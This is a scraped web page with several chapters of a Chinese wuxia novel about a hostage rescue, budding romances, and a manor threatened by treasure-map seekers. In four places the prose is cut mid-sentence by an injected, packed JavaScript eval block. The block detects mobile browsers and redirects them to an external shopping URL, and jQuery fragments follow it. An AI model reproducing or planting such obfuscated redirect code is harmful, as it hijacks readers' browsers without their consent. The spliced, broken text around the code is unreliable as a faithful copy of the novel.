少主袖子一扬,一把匕首抵住紫瑛脖颈:“若你们还想看到她活着,就都把手停下!” 他声音不大,却足以传入在场所有人的耳朵。还在和响水帮帮众缠斗的五人听见此话,立刻停手,也终于发觉了紫瑛被对手挟持的事实。一切按计划进行,项大一挥手,还能动弹的响水帮众人立刻堵住了后院的各个出口。 紫璇猛地收招,右手紧紧攥住短剑,瞬间明白了敌人真正的计划。这反而使她冷静下来:“你故意布局引我们前来,又以紫瑛为质,到底想要什么?” 少主微微一笑:“你。” “原来如此。”紫璇轻扯嘴角,“我竟不知我这么值钱,值得你下这么大一盘棋。” “承让承让,如果不是姑娘你先起了跟踪吴宏以寻根溯源的念头,我也无法将计就计,想出这么绝妙的招数将你手到擒来。” “手到擒来?你未免也太过自信了吧?我像是那么容易屈服的人吗?” 少主猛地推了一把紫瑛,紫瑛的脖子撞上匕首,被轻轻拉开一道口子。小鸢看到这一幕更加着急,却大气都不敢出一声。 “她在我手里,这就够了。你们不都是最讲信义的人吗?总不会连自己的亲姐妹都不肯救吧?” 紫璇压制住自己的怒火,体会着他话中的深意,平静地问道:“这么说,你要用她来换我。” “紫璇姑娘果然聪明!” 阮云飞上前一步:“卑鄙无耻!”瑾瑜也从后方急忙抢上来,焦灼的目光在紫璇和紫瑛之间徘徊,反对的话语怎么也说不出来,可是…… “好。”紫璇依然平静。 少主满意地点头,匕首离开紫瑛几分:“放下手中武器,慢慢走过来。记住,一旦你有异动,我会立刻使劲,到时候血溅当场,你可不要怪我。” 瑾瑜死死咬住下唇,眼睁睁看着紫璇屈膝将手中短剑缓缓放在地上,然后迈步向前。江珺翊也密切注意着少主的动向,预备他稍有松懈,自己便可撞过去,就算折了自己的性命也要救下紫瑛。 紫璇目光牢牢锁定在少主身上,走得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404238|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极慢,似乎每一步都得踏踏实实踩实了才行。少主也不催他,虽然面上波澜不惊,却极为留心她的一举一动,以防她突然暴起。 便在此刻,紫瑛被麻绳捆住的手突然松开,手中铁钉自身后猛地戳向他的腰窝。少主吃痛,反应明显慢了一拍,她便立刻矮身,再斜刺里滚出,避过了刺出的匕首。紫璇蓦然飞起,在空中伸手入怀取出匕首,使劲扎在了少主肩上;江珺翊俯身疾冲,将受伤懵了一瞬的少主撞翻在地;齐熙宁紧跟着他动身,自后而来,挥剑斩向了少主的脖颈。 四人几乎同时动作,直到少主喷涌着鲜血扑到在地,在四处观望的响水帮众人才反应过来这边发生了什么。 项大大喝:“上!能杀一个是一个!” 大家鼓噪着继续上前,又和紫璇等人斗了起来。 小鸢扶起倒在地上的紫瑛,贴近一点去看她脖子上的伤口,她却说:“不碍事,只是划伤的表皮。你快去看看,杜公子醒了没有。” 小鸢马上起身,再次进到屋内。里面周宴还在努力,又是掐人中,又是捋督脉,额头上的汗滴滴滑落,他怀中的男子都没有丝毫反应。 屋外,项大最先被击毙,没了主心骨的响水帮立刻便溃不成军,如果不是瑾瑜、阮云飞等人手下留情,估计当场就会全军覆没。 解决了这些喽啰,紫璇立刻飞奔到紫瑛身边,蹲下去问她:“还好吗?伤口要不要紧?” 紫瑛摇头,泪水也随之滑落,她扑到紫璇怀里,大哭出声。紫璇的心这才稳稳落到腔子里,手也跟着松了,匕首落在了地上。 瑾瑜也终于放下心来,听到小鸢自物种发出的召唤,和陆文渊一起进去,从中抬出了杜彦成。借着外间的光,他才瞧见这个人的面容。他怎么在这?瑾瑜心中疑惑,但见杜彦成双眼紧闭、身体僵硬,似乎没有生气,他的心砰砰直跳,忐忑地去摸他的鼻息。还好,还活着。 、 紫瑛看到杜彦成,带着哭腔断断续续解释:“我……洛阳……杜公子,是他……他救了我……” 她哭得上气不接下气,根本说不出完整的话。陆文渊道:“这里不是说话的地方,把紫瑛姑娘和这位公子带到前面的屋子里慢慢说吧。紫瑛姑娘的伤,最好也赶紧处理一下。” 阮云飞也有此意,便立刻帮着紫璇把紫瑛架了起来。 “小鸢、周宴、”陆文渊又叫站在门边的两个年轻人,“咱们把这些人绑起来。”两弟子马上答应。 仍是紫璇和阮云飞扶着紫瑛,韩仲昌和瑾瑜抬着杜彦成,一前一后往前面去了。江珺翊刚刚用力太过,伤口有些开裂,则被齐熙宁扶着往前走。 江珺翊和紫瑛两人各自上药包扎。紫瑛冲着正把杜彦成抬到榻上的瑾瑜和韩仲昌道:“杜公子为了护我,被歹人猛击在头上,然后就一直昏迷着,你们快看看要不要紧。” 韩仲昌摸了摸杜彦成的脉搏:“从脉象上看,身子没有大的亏虚,但后脑有一些肿胀,估计是此处淤血未散,这才一直晕厥。看淤伤的大小,他伤得并不重,好好睡一晚应该就无碍了。要是明日他还没醒,去药铺开一副活血化瘀的药吃下去即可。” 紫瑛不认识他,见他神色谈谈,说话的时候却毫无犹疑,也愿意相信他。这之后,她才定了心神,开始详细说起自己被掳之后的遭遇。 121. 心迹 韩仲昌所料不错,杜彦成第二天便苏醒过来。只不过一开始头脑还不是特别清楚,特别是不明白何以瑾瑜就在自己的旁边。直到听说他醒来便立刻赶过来的紫瑛出现,他才断断续续地记起自己是如何遇上紫瑛,又是如何受伤晕厥的。 榻边紫瑛正默默垂泪,他伸出手背帮她蹭去眼泪,笑着道:“我这不是好好的吗?就是刚醒来,脑子还有点笨。你莫不是因为我不如之前聪明风趣才哭了?” 紫瑛被他逗笑,伸手捶了他一下。 他马上痛得大叫,吓得紫瑛立刻变了脸色:“怎么了?莫不是还有哪块儿受了伤?” 他却咧着嘴:“逗你的。” 紫瑛气得跺脚,转身要走,下一刻却又坐回了他的塌边。 和紫瑛同来的紫璇目睹了两人打闹的全过程,下意识地去寻找瑾瑜,却在对上他也看过来的眼睛之后立刻把头转了开去。一时间两人脸上都有些发烫。 紫璇离家出走已有差不多四个月。当日她不顾劝阻独自下山,江邵谦提议让江珺翊立刻动身去把人找回来,却被文远骥否决了。他知道紫璇的脾气,决定了的事没有人能阻止。她被排除在天魄门破局图存之外,有些不快也是应当的。虽然自己的本意是保护她,以免天魄门旧属或其他知道真相的人打她的主意。不过仔细一想,如今藏宝图还没有下落,想必她应该暂时遇不上危险。更何况,以她的功夫,只要不是遇上当世高手或着对手处心积虑,自保还是相当有余。 江珺翊初见她时极为讶异,特别是她还和瑾瑜及一个陌生人在一起。只是当时营救紫瑛是第一要务,他便将心中疑问暂且压下。直到现在才向紫璇问道:“这几个月你到那里去了?我们都很担心你。” 回想当日情形,紫璇的第一反应是怼回去:“担心什么?担心我没了你们的保护,就会柔弱到任人宰割吗?” 可对着江珺翊真诚关怀的神色,她却无法将脑子里的声音兑现,而是回道:“我很好,不用你们担心。” 她答得敷衍,江珺翊不肯作罢,向她靠近几步,仔仔细细地打量着她的全身:“没有受伤?没有发病?” 紫璇不喜欢所有人见了她都要问发没发病的问题,还在犹豫要不要开口,紫瑛却替她说道:“昨儿我见她穿得少,怕她又不注意保养,已经细细问过她了。她的确没什么事,你看她气色比之前还要好呢。” 江珺翊顺着她的话又去仔细观察紫璇的面色,半响才退开,道:“你没事就好。” 瞧着二人互动,瑾瑜很不是滋味。江珺翊对她的关心会不会有点过了,这还是普通师兄妹之间的情谊吗?齐熙宁同样有些郁闷,等江珺翊出了紫璇紫瑛所住的房间,便追出来叫住他。 “等一下,我有话想问你。” 江珺翊不明所以,但还是顺从地停下脚步:“什么事?” “我……”话到嘴边,齐熙宁却有些犹豫,可是想起刚才那幕,她还是止不住的烦躁。算了,说就说,又没有什么丢人的。这样想着,她便直说道:“你和紫璇姐姐是怎么回事?” “什么怎么回事?”江珺翊更加迷糊,不知道她到底想要问什么。 “你好像很关心她的样子。” “哦……璇儿从小身子不好,时常生病。这次她一声不吭就一个人下了山,连平日里吃的药都没带,我想着师父一定很牵挂他,就替他问问。” 齐熙宁脸色稍霁:“所以你不是因为喜欢她才那么关心她?” “喜……喜欢?”这个字眼可从来没有出现在他江珺翊的脑子里,乍一听见,他还有些发蒙,哪种喜欢? 见他如此,齐熙宁收紧的心又松快了不少。她握了握发烫的脸颊,大胆道:“咱们也算是并肩作过战了,你……”她只沉吟了一瞬,随后大声问道:“你喜欢我吗?” “轰”的一声,江珺翊的脑子仿佛炸开了,她的意思是?他不敢往下想,也不知道这个时候该说些什么。眼前的齐熙宁笑得如春日暖阳,他好像突然明白过来,自己这几天每次看向她、特别是看到她的笑容时为什么那样挪不开眼了。 他一言不发,齐熙宁便有些着急:“你……你为什么不说话?是嫌弃我问得太直白吗?” “没有。”江珺翊随即从牙缝中挤出两个字。 “感情这件事,不是只有你们男子可以主动的!”齐熙宁仰起头,亮如宝石的眼睛对上江珺翊的还有些茫然无措的表情,“女孩儿也可以。我觉得你人还不错,要是你也喜欢我,我们就试着相处一下,怎么样?” 迎着她期待的目光,江珺翊心跳得更加难以抑制,他慌忙把头垂下,脑子里一团乱麻。看到他这副样子,齐熙宁刚刚燃起的欢喜被瞬间浇灭。 “你不喜欢我?”她忍不住问道。 “不是!”江珺翊想抬起头,可一碰到她的眼睛马上又低了下去。 “那你这是什么态度?我配不上你?” “当然不是!”江珺翊再一次脱口而出,然而心头的重压感已无法让他再多说哪怕一个字。“我……”他一连说了好几个“我”,惹得齐熙宁生起气来:“你什么啊?你要拒绝我?那你告诉我,到底是为什么?” 江珺翊好不容易整理好心绪,这才道:“对不起。我……我的婚事我自己做不得主,我……” “谁说要嫁给你了!”齐熙宁马上把话打断,也不知是因为气愤还是因为害羞,脸颊上的红晕比日头还要红。 “你做不了主是什么意思?”她又问,“又是你那位严厉的爹爹?” “也不光是我爹,师父他,他也属意我……” “他想让你娶他的女儿?”齐熙宁皱着眉头,心里想到什么就直接说了出来。 江珺翊没想到她竟会问得这么直接,本能地点了一下头。 “那你呢?你喜欢他的女儿吗?你愿意娶她吗?” “我……我没想过。” “那你就准备乖乖听他们的话?都不问问自己真正要想的是什么?” “师命难违、父命如山,我没有拒绝的余地。” “你甘心一辈子都受他们的摆布?” “你别这样说,师父和爹爹又不是要害我……” “他们不顾你的心意,非要替你做决定,这可不是真正为你着想。” “我……”江珺翊又语塞了,毕竟以他从小受到的教育,根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425916|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本想不到该如何回应她的这句话。 齐熙宁深吸一口气:“如果你没有胆量反抗他们强加给你的选择,那就当我今天的话没说过。因为我不喜欢没有主见的男人!” 说罢她转身出门,之后就再也没有回来。后来瑾瑜向他问起齐熙宁为何连招呼都不打突然离开时,江珺翊正反复回想着她最后说的几句话,是以未能告诉他究竟发生了什么事。 同样有些郁闷的还有阮云飞。 自那日相遇后,陆文渊就有意避着她。哪怕瑾瑜单独离开,去向紫璇传递消息的那段时间,他也总是找借口走开,从不和她多说一句话,就连小鸢和周宴都瞧出了二人之间的尴尬。他越是如此,阮云飞就越不知道该如何面对他,甚至连一句关心的话都难以出口。只盼着他是真的放下了她,不会因此再心里难过。 小鸢和周宴仍然称呼陆文渊为“师叔”,他却非要求他们改口不可,称“我已经当着众多武林同道的面脱离了彭城派,从那时起就不再是你们的师叔了,你们只管叫我‘陆大哥’就好。” 两人小心地觑着阮云飞的脸色,想知道她的意思,她在心里叹了口气,暗暗点了点头,小鸢和周宴才改了口。 少主被诛、紫瑛脱险的当晚,众人说起接下来的打算。许淑平和谭修明已经护着贺新韵去了贺家庄,紫璇几人准备一起去增援。瑾瑜要赔玉棋子,自然也得跟着一起去。杜彦成和紫瑛对望几眼,笑道:“你们要是不嫌多一个人麻烦,我也想去。” 紫瑛低头浅笑,没有说话。 瑾瑜替他操心,问道:“那你在洛阳的生意怎么办?不去管了?” “也没几个钱,哪有和你们在一起重要。我写封信,找急递铺的人帮我送去,那里的掌柜必然不敢说三道四。” 杜彦成一向勤勉上进,生意上的事基本上都是亲力亲为,这次竟然愿意撇下生意,只为了赔紫瑛一段时间,瑾瑜就知道他的心意不小。 反观自己,再次和紫璇碰面以来,每一次不自觉的张望都会被小心翼翼地收回,也极少主动找她说话。两相对比,瑾瑜不免后悔起金陵生日宴那日的鲁莽。如果他什么都没说,说不定他还能和之前一样,自然的关心她,自然地和她说说笑笑。如此一想,他便更加难受。 韩仲昌将他的落寞看在眼里,在心里默默摇头,比起我面前的那座大山,你们的这些阻碍,还比不上针尖大小。不过以他的性格,他也不会多说什么。 大家在原地修整了一日便各自上路。韩仲昌和陆文渊回南阳,阮云飞带着两个弟子回徐州。临行前,阮云飞嘴巴动了又动,千言万语只化成“保重”二字,陆文渊神色淡淡,只道:“我四海为家,自在得紧,阮掌门不必挂怀。”停上一停,又加了句:“替我向默儿问好。” 紫璇五人则骑马西向。路上,杜彦成总是想着法儿地逗紫瑛开心。瑾瑜伴在紫璇身边,总是跟上又落后几步,好容易鼓起勇气和她说上两句,但马上又泄了气不知道该如何继续。最后还是紫璇先问起他过去几个月的行迹,他这才松了一口气,说起自己去西北走镖的经历。江珺翊一个人孤单单地走在最后面,眉头紧锁,像是正在思考一道无解的难题。 122. 谈判(一) 贺家乃西河名门,在此经营已有数代,根基深厚。现庄主贺永识是贺永诏的弟弟,他还有个妹妹叫贺永芳,虽然早早嫁了人,但因与夫家不睦,丈夫一死就回了娘家,如今帮着贺永诏管理庄中事务。 贺永识有三个儿子,老大贺新峦被寄予厚望,常常代贺永识出面,是名副其实的“少庄主”。老三贺新川,作为家中最小的儿子受尽宠爱,被养成了个骄纵恣意的性子,闯出不少祸事,在西河的名声极差。夹在中间的贺新塬不受父亲重视,又与兄长失和,便早早分家独立了出去。 贺家庄远在百年前就被天魄门收入麾下,一直是负责北方消息收集和传递的枢纽。故而,天魄门左护法的位子一向由贺家的家主或家族中最有才干之人充任。贺永诏遵照苏明启遗命、保守藏宝之地的秘密,趁着门主之争脱离天魄门,天魄门这才失去了对贺家的掌控。 贺家在武学上的造诣并不为世人称道,其能立足于江湖之上,并为天魄门主高看,靠的是百年积累流传下来的消息秘术。贺永诏死后,庄主之位由贺永识承袭,势力比之以往有所收缩,但毕竟树大根深,在收集消息一道上仍是江湖翘楚。 这不,贺永识刚刚收到属下呈上来的消息,上面说连日来已经有十数个江湖势力正赶往贺家庄,目的是到贺家探问江湖上盛传的天魄门藏宝图的线索。 贺家当年在天魄门与老庄主之间做桥梁的一直都是贺永诏。贺永识年轻时从未有机会踏足太白山,也不知道什么天魄门的宝藏。直到数月前倪家庄集会,贺家庄才通过自家的的消息网辗转听闻天魄门及其藏宝图的点滴情形。也正是出于对这件事的好奇,贺永识才派自己的三子贺新川赴襄阳长业帮之会。 颇令人惊疑的是,襄阳大会之后不过三个月,有关天魄门藏宝图的下落却直指贺家,有人道出当年陪同苏明启秘密探访藏宝之地的正是当时天魄门的左护法贺永诏,猜想他必然偷偷留下了可以重新找到宝藏的线索,只是碍于自己已非天魄门下属的事实及文远骥的武功才没有轻举妄动。 回想起兄长贺永诏死之前庄中发生的不少怪事,贺永识也不禁开始怀疑,难道兄长手上真的留有藏宝图,这才引来觊觎宝藏之人?如果这是真的,那么如今贺永识身故多年,这些线索被藏在了哪里? 这则消息不胫而走,江湖上关心天魄门宝藏的人不再执着于因杨世坤身死而下落不明的那副源自李家的藏宝图,而将目光纷纷转向了贺家。 这几日以来,无数消息递到了贺永识的案头,又有哪门哪派或是哪个江湖人正动身接近西河,弄得贺永识头大无比。他手上并没有所谓的藏宝图,如果来人强行索要,他要如何应对?如果硬刚,单凭贺家庄一家之力,也根本敌不过这么多江湖势力。这一回要是处理不当,搞不好就是毁庄灭族的大事。 他在书房里走来走去,始终没有个万全之法,便让人把儿子贺新峦请来。想了想,又吩咐人把贺永芳也一并叫来。二人刚一坐下,贺永识就把自己的收到的写有消息的字条递给他们看。 “这是何时的事情?他们为何而来?”贺新峦焦急问道。 贺永芳抬头望向二哥,也等着他的答案。 贺永识便向他们简单讲了整件事的来龙去脉,顺带着分析了当前的局势是如何不利于贺家庄。 贺永芳听罢,不满道:“此等传闻难辨真假,这些江湖人竟然真得相信!” 贺永识却意味深长地说:“大哥是苏明启座下的左护法,听说苏明启死的时候他也一直奉侍在塌边。只就这一点,关于大哥手中掌握着天魄门秘宝线索的消息也不完全算是空穴来风。” “二哥,”贺永芳瞧着他的神色,不客气地问道,“难不成你也相信这荒诞无稽的传言?” 贺永识没有否认,她猛地站起来,大声道:“就算大哥相伴苏明启左右,知道些什么,照他的性子,也不会将主人之物留作私用。你如此揣测他,如何对得起大哥亡灵?” “姑母此话差矣!”一旁一直没有说话的贺新峦突然驳斥道:“这毕竟是一桩宝藏,其中的金钱不论,但就神功秘籍也足以令人动心。大伯父久在天魄门,又一向是苏明启的左膀右臂,知道的一定比一般人多。就算是出于猎奇留下一星半点记录或是暗示也不是完全没有可能啊。” “若真如你所说,他知道宝藏在哪儿,那他为什么不去寻找?只是单单守着线索做什么?”贺永芳没好气道。 “这个侄儿就不知道了。”贺新峦眼睛瞟向别处,轻飘飘地吐出一句话。 “大哥英年早逝,或许是因为这个缘故,才没能找出宝藏吧。”贺永识道。 贺永芳眉心紧蹙,在贺永识父子之间瞧来瞧去:“我怎么听着,你们不仅相信,还有些跃跃欲试呢?” 被她戳破心思,贺永识咳嗽了一声,未置可否。贺新峦则道:“别人能争,我们为何不可?要是大伯手上真有线索,我们就比别家多了一份先机。” “先机倒未见得,杀机确是板上钉钉!”贺永芳不屑于爷俩的心思,出言嘲讽。 “姑母慎言!你怎么不盼着贺家庄一点好儿,尽说些丧气的话!” “我丧气!?刚才不是二哥担心这么多江湖人紧盯贺家,恐怕酿成大祸吗?怎么到了现在成了我说丧气话儿了?” 贺新峦一向不满贺永芳身为女子插手庄中事务,还总以长辈自居,多次让自己下不来台,自己这少庄主的威风因着她削弱了不少。是以每次在父亲面前讨论大事时,总免不了要和她吵嘴,争个是非长短。 “别吵了!”贺永识大喝。他扶额闭眼,似乎很是头疼。过了一会儿才放平语调说道:“我们要不要找宝藏现下并不关键,反倒是我们并无相关线索,却要应对江湖势力的逼问。就算我们将实情和盘托出,来的人也未必会信。到时候争执起来,难免要兵戎相见。” “二哥担心的是,他们会硬来?” 贺永识点点头。 “咱们庄中高手有限,要是打起来,我们没有多少胜算。”贺永芳边想边说,“要是向附近的武林同道求援呢?” “来的这些人之中难道没有武林同道吗?”贺永识闷闷地道,“利益面前,所谓江湖道义一文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434602|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不值。” “不去问问怎么知道呢?”贺永芳还想坚持。 “要说外援,伏牛山大当家与我们有亲,若不是姑母你非要耍大小姐的脾气,惹恼了人家,说不定今日到可以去问问。”贺新峦刚才挑衅未成,又寻了个话题出来。 面对他的阴阳怪气,贺永芳岂会忍让:“伏牛山有多大势力?能比得过太原王家?可惜啊,如今他们家的门楣我们也登不上去了。” 太原王式是贺永诏的岳家。自他死后,其妻不知因何故继而离世,贺新韵也不知所踪,当时王式曾遣人来问,贺永识忙于接手庄主之位,对兄长一家罹难并没有多少同情心,更没把侄女的死活放在心上,也因此触怒了王氏,两家已经多年不往来。 贺永芳这话捅在了贺永识父子的心窝上,贺新峦咬牙切齿,却寻不出一句合适的辩驳之语。 贺永识头痛难忍,忍不住再次喝道:“又吵!又吵!吵架能把援兵吵来吗!” 书房中立刻安静下来,姑侄两人怒目相视。 贺永识沉吟半响,实在没有更好的办法,便将自己的打算说了出来:“为今之计,必须早做筹谋。一则在庄中各处设好消息埋伏,如果来者意图不善,想和我们动手,咱们也能先削去对手的部分战力。” 他看向贺永芳:“三妹,庄中各处的人手布局你最为清楚,这件事就交给你去办吧。” “爹!”贺新峦不满地叫了一声,“儿子领着庄中卫戍,这么重要的事情,怎么不交给我来办?” 贺永芳白了侄子一眼,退后坐到椅子上,不说话,等着贺永识的示下。 贺永识没理会儿子又想争先的话,直接对着贺永芳道:“这件事就交给你了,三日之内务必办妥。” 贺永芳这才起身抱拳,道了一声“领命”,顺便还白了贺新峦一眼。父亲已经发话,贺新峦也不敢再多话,只好闷闷地窝在椅子上。 “二则,”贺永识看着书案上的一封拜帖,“还是得想办法找个靠山,能帮咱们挡了这一回的灾祸就好。” ************************* 贺永芳一面绕过院中影壁,一面盘算着要如何在庄里部署人手、布置机关,连屋顶上坐着一个黑影都没有察觉。 她自闺中时就嫌弃下人们聒噪麻烦,是以在她居中的院中,如无她的传唤,所有人是不能随意上来的。她进到屋中,直奔书案想把刚才头脑中想到的点子记下来。 “姑母。”突然从身后传来一个女子声音。 贺永芳心头大震,急忙回身,看到的正是自当年出嫁后就再也未能谋面的亲侄女,贺新韵。 贺新韵声音轻颤,又叫了一声“姑母”。贺永芳快走了两步又马上停下,隔着老远打量着面前的人。许久才确认,这就是贺新韵,眉目和十年前没有差别,只是出落得越发成熟稳重,不是当年那个活泼爱笑的小姑娘了。 她不再犹豫,立刻上前执着贺新韵的手,眼眶中也涌出难以置信的泪水:“新韵?” “是我,我回来了。”贺新韵轻声道。 123. 谈判(二) “这些年你去了哪儿?我们都以为……” “以为什么?”贺新韵稍稍拉下一点脸,“二叔一家肯定盼着我早就葬身荒野了吧。” “你这是什么话!”虽然贺永芳和二哥一家的关系并不多么融洽,可是也不愿意听到别人这样直白地指斥他冷血无情。 “侄女可不是说笑。我爹死的蹊跷,连他的妻女也随之身死,如果真的顾念骨肉亲情,二叔为何从不彻查此中真情?我流落在外,二叔可曾着人寻找过我?” 贺永芳不语,她其实早就明白,贺永识并不希望贺新韵回来,只是一直不敢承认罢了。 “那你这些年是怎么过来的?难不成是你外祖家把你藏起来了?” “当然不是,收留我的另有其人。之所以一直没有出现,是不想被二叔用作和别家联姻的筹码。” 关于联姻,贺永芳的感触比谁都深,听到这句话,怎能不理解她不愿回家的顾虑。她拉着贺新韵的手坐下,柔声道: “这几年过的好吗?可有受苦?” “收留我的人家待我极好,从来不给我脸色瞧。” “那就好。” 话虽这样说,可她的眼睛还是贴在贺新韵身上,看了又看。 贺新韵不免笑道:“我说的是实话,姥姥待我就像对待自己的女儿一样,无微不至的,我在她那里住了十年,一句重话都没听过。” “姥姥?”贺永芳疑惑道。 “嗯……”贺新韵顿了一下,“她也一起来了,一会儿我带你去见她好不好。” “好。”既然是贺家的恩人,贺永芳当然要好好感谢一番。 贺新韵也觑着她的脸色,小心问道:“姑母怎么不问问我,既然一直躲着贺家,为何偏偏要在这个时候回来?” 贺永芳当然有此疑问,只是相比于和侄女的重逢,这件事显得不那么重要,才一直没有着急问出来。 “那你就说说,为何偏在此时回家?” “姑母可是刚刚从二叔那里回来?” “嗯?”贺永芳眯起眼睛,不明白她究竟想说什么。 “侄女听说,不少江湖人因一个传说,正往贺家庄方向而来。”贺新韵擒住微笑,故意把话停在这里。 “你怎么知道?”这是继贺新韵出现之后,贺永芳第二次受惊。贺家因消息灵通,才尽早知晓的事情何以贺新韵也早就知道? “侄女怎么知道的不重要。重要的事,贺家当前可有妥善的应对之法?” 贺永芳放开贺新韵的手,突然离开些许,像是打量陌生人一样定定端详着她的神色,然后问了一句:“你到底是为什么回来的?是不是有人胁迫你,让你回来和家里人为难?” 贺新韵早已料到此节,从容答道:“我回来自然有目的,只不过并非姑母想的那样,并没有人胁迫我。” “难道你有应对当前形势的法子?”循着她给的暗示,贺永芳问道。 “是。”贺新韵只回答了一个字。 “怎么可能?我不信。” “侄女带你去见一个人,见完之后,姑母就能知道侄女的底气从何而来。” 贺永芳将信将疑,但想到自家侄女至少不会害她,便愿意与她同去。两人出门,贺新韵对着房顶叫了一声“谭叔叔”,谭修明立即从高处坠下。 “他是谁?”贺永芳十分戒备。 “这位是人称‘百步穿杨’的谭修明前辈,他是来保护我的。”贺新韵介绍说。 “保护你?你来自己家,为何需要人保护?” 对这个问题,贺新韵也不急着回答,而是拉住贺永芳的手:“一会儿你就知道了。” 三人穿过夜色,从后墙翻了出去。贺永芳再次疑惑,自己家哪个门不能走,非要翻墙?贺新韵只说:“最好不要让人知道我回来了,还和你在一起。”贺永芳再问为什么,她仍旧还是那句话,“过会儿你就知道了。” ******************** “你是‘天目三英’之一的许淑平!” 一见到许淑平,贺永芳就认了出来。她少年时曾听过她的鼎鼎大名,彼时也向往着能像她一样在江湖上闯出名声。 一到这儿贺新韵马上离开了自己,站到了许淑平身边。惊讶随之转为警惕,她清楚许淑平如今的身份,由此突然联想到她们来此的目的,带着怀疑道:“原来是天魄门收养了你。” “姑母这样说也不算错。但不是你想的那样。”贺新韵坦然说道。 “那是哪样?”贺永芳瞧着面色沉静如水、至今一字未发的许淑平,疑心只增不减。 “并非是天魄门找上了我,而是我爹害怕有人要害他,特定让我娘和我去投奔天魄门。” “什么?!”贺永芳只知道自己的大哥在十年前突然身故,期间到底发生了什么贺永识从没有告诉过她,乍然听闻贺永诏在死前就已经预料到自己将逢不测,难免惊骇。 “此事说来话长,待日后我再慢慢讲给你听。今日姥姥邀你前来,是为了江湖群豪不日将集结贺家庄的事情。” 贺新韵点出关键,一下子将贺永芳的思绪拉了回来。 “你们叫我来?有什么目的?”她不再盯着贺新韵,而是将目光再次转向了许淑平。 “和你谈一谈合作的事。”许淑平开口道,她比贺永芳大了十岁有余,又兼多年面对小辈养成的气场,这句话一出口,不像是提议,到有点前辈教导晚辈的的意味。 贺永芳立马就有些不爽,也拿出一副高傲的口气:“合作?我凭什么要跟你合作?” 她的本意,是想问许淑平何以如此笃定自己必须与之合作,可许淑平却从另外一个角度回答了她:“新韵率先去找你,不是为了别的,而是她相信,在当前情势之下,只有你才会从贺家庄的利益出发,做出最佳的选择。” 这番话带有恭维之意,却不容易收买贺永芳,她轻笑一声:“何以见得?” “贺家三姑娘,未出阁时便极有主见,一心想闯荡江湖立一番事业。可她为了家族利益,还是顺从父亲之意嫁到了伏牛山。单凭这一点就不难看出,她是一个将贺家庄看得高于自己的人。这样的人在贺家面临灭顶之灾时,绝不会只顾一己私利,而能将贺家庄上下的安危都考虑进去。” “还有呢?” “她自回到贺家庄起,便协助兄长管理庄内大小事,从未出过纰漏。这对于她这样一个脾气火爆,并不擅于琐事的人来说,肯定需要下更多的功夫。既然为此下了如此多的心血,又如何能看着这份百年基业毁在自己手上呢?所以,你比任何人都更习武这次的危局能够妥善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444946|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决,但是你还缺一份助力。” 贺永芳管理贺家庄十分辛苦,可二哥贺永识似乎从未察觉,每年论起功劳来,自己也总是屈居贺新峦之下。许淑平的这番话触到了她积攒多年的委屈和不甘,说不动容是不可能的。但同时,她也从中听出了天魄门的刻意用心,于是道:“看来,天魄门哪怕是偏居西面,也从没有闭目塞听,反倒对我贺家庄之事关心得紧呐!” “贺家庄是天魄门旧属,再加上贺永诏曾是苏明启的亲信,我们多关心一点儿,也是理之自然。” “哼!”贺永芳鄙夷道,“少在我面前装蒜!我大哥早就脱离了天魄门,贺家庄和你们没有半点干系!时至今日跑来装什么上封,实在令人笑掉大牙!” “好,我不与你纠缠过去之事,”相比于贺永芳的激动,许淑平就淡然多了,“咱们只看着眼下。最多四五日,贺家庄就将群豪毕至,向你们逼问贺永诏手上藏宝图的下落,你们可有应对之法?” “什么藏宝图?我大哥从未提起,那就是没有!” “贺永诏死前有没有留下线索,无人知晓。即便你振振有词,那些对宝藏虎视眈眈的人会信吗?你们又如何能够让他们相信贺家庄并没有藏宝图,乖乖撤退呢?” 这个问题,一个多时辰之前贺永识也提出来过。即使怒气未消,贺永芳也清醒了不少。 “这么说,你有办法?”她问。 “当然。” “说来听听。” 